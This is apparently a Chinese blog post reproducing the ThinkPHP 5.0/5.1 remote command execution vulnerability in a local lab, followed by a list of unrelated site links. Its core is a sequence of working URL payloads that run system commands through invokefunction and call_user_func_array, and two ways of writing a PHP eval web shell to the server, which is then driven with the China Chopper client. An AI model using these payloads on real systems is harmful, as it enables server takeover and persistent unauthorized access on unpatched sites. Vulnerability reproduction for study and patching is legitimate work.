ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
用PHP与XML联手进行网站编程代码实例
Jul 10 PHP
PHP初学者常见问题集合 修正版(21问答)
Mar 23 PHP
一道关于php变量引用的面试题
Aug 08 PHP
php mail to 配置详解
Jan 16 PHP
php+highchats生成动态统计图
May 21 PHP
php商品对比功能代码分享
Sep 24 PHP
php中二分法查找算法实例分析
Sep 22 PHP
php file_get_contents取文件中数组元素的方法
Apr 01 PHP
PHP实现的激活用户注册验证邮箱功能示例
Jun 06 PHP
PHP+MySQL实现模糊查询员工信息功能示例
Jun 01 PHP
php生成微信红包数组的方法
Sep 05 PHP
Laravel第三方包报class not found的解决方法
Oct 13 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
一个PHP的ZIP压缩类分享
2014/05/04 PHP
ASP和PHP实现生成网站快捷方式并下载到桌面的方法
2014/05/08 PHP
jQuery+PHP发布的内容进行无刷新分页(Fckeditor)
2015/10/22 PHP
PHP实现Markdown文章上传到七牛图床的实例内容
2020/02/11 PHP
js 事件截取enter按键页面提交事件示例代码
2014/03/04 Javascript
jQuery插件支持同一页面被多次调用
2016/02/14 Javascript
Bootstrap3 input输入框插入glyphicon图标的方法
2016/05/16 Javascript
vuejs响应用户事件(如点击事件)
2017/03/14 Javascript
vue元素实现动画过渡效果
2017/07/01 Javascript
vue 1.x 交互实现仿百度下拉列表示例
2017/10/21 Javascript
vue-resource请求实现http登录拦截或者路由拦截的方法
2018/07/11 Javascript
jQuery UI实现动画效果代码分享
2018/08/19 jQuery
用WebStorm进行Angularjs 2开发(环境篇:Windows 10,Angular-cli方式)
2018/12/05 Javascript
浅谈KOA2 Restful方式路由初探
2019/03/14 Javascript
微信小程序返回箭头跳转到指定页面实例解析
2019/10/08 Javascript
实例讲解JavaScript 计时事件
2020/07/04 Javascript
JS的时间格式化和时间戳转换函数示例详解
2020/07/27 Javascript
[31:55]完美世界DOTA2联赛循环赛 IO vs GXR BO2第一场 11.04
2020/11/05 DOTA
Python中的装饰器用法详解
2015/01/14 Python
Python爬虫实例扒取2345天气预报
2018/03/04 Python
python实现获取单向链表倒数第k个结点的值示例
2019/10/24 Python
python第三方库学习笔记
2020/02/07 Python
python pandas.DataFrame.loc函数使用详解
2020/03/26 Python
django使用JWT保存用户登录信息
2020/04/22 Python
python操作微信自动发消息的实现(微信聊天机器人)
2020/07/14 Python
Pytest测试框架基本使用方法详解
2020/11/25 Python
HTML5中input输入框默认提示文字向左向右移动的示例代码
2020/09/10 HTML / CSS
Giglio美国站:意大利奢侈品购物网
2018/02/10 全球购物
出纳员的岗位职责
2014/02/22 职场文书
《植物妈妈有办法》教学反思
2014/02/25 职场文书
人事任命书怎么写
2014/06/05 职场文书
学生夜不归宿检讨书
2014/09/23 职场文书
2014年化验员工作总结
2014/11/18 职场文书
毕业生班级鉴定评语
2015/01/04 职场文书
七年级作文之秋游
2019/10/21 职场文书
Nginx代理Redis哨兵主从配置的实现
2022/07/15 Servers